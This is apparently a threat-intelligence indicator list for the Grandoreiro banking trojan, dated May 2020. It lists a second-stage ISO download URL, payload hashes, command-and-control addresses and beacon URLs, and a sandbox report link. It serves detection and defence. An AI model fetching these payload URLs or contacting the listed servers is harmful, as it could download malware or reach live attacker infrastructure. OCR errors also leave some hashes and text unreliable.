-- 2nd stage ISO file --
http://192.]236.147.100:1950/Inufturiols.iso

-- Final payload --

Filename: Inufturiols.exe

MD5: 1f861de0794cd020072150db618dal54

SHA1: c3f70025857ac7eca467412d35f17fc5ec10f659

-- C2-web-traffic--

104.168.190.]164
http://104.]168.190.164:9050/$rdgate?ID=B3030080574A43BE857DBE13C21D7110
http://104.]168.190.164:9050/$rdgate?ACTION=HELLO
http://104.]168.190.164:9050/$rdgate?ACTION=START&ID=B3030080574A43BE857DBE13C21D7110

I0Cs - 2020/05/28

#grandoreiro #trojan

-loader VBS 4| delivered in

-new server-#:-2nd-stage

152.67.44.]175:5661 (Séo Paulo)@QOracleCloud — Windows 10.0 Build 17763 x64
(name:INSTANCE-202005)

Threat i} https://t.co/sxMPRDeNYH@malwrhunterteam @JAMESWT_MHT
@cocaman @HunterPhish pic.twitter.com/GX97FrQgwZ

— Pedro Tavares (@sirpedrotavares) May 28, 2020

Sandbox online

https://www.joesandbox.com/analysis/232895/0/html
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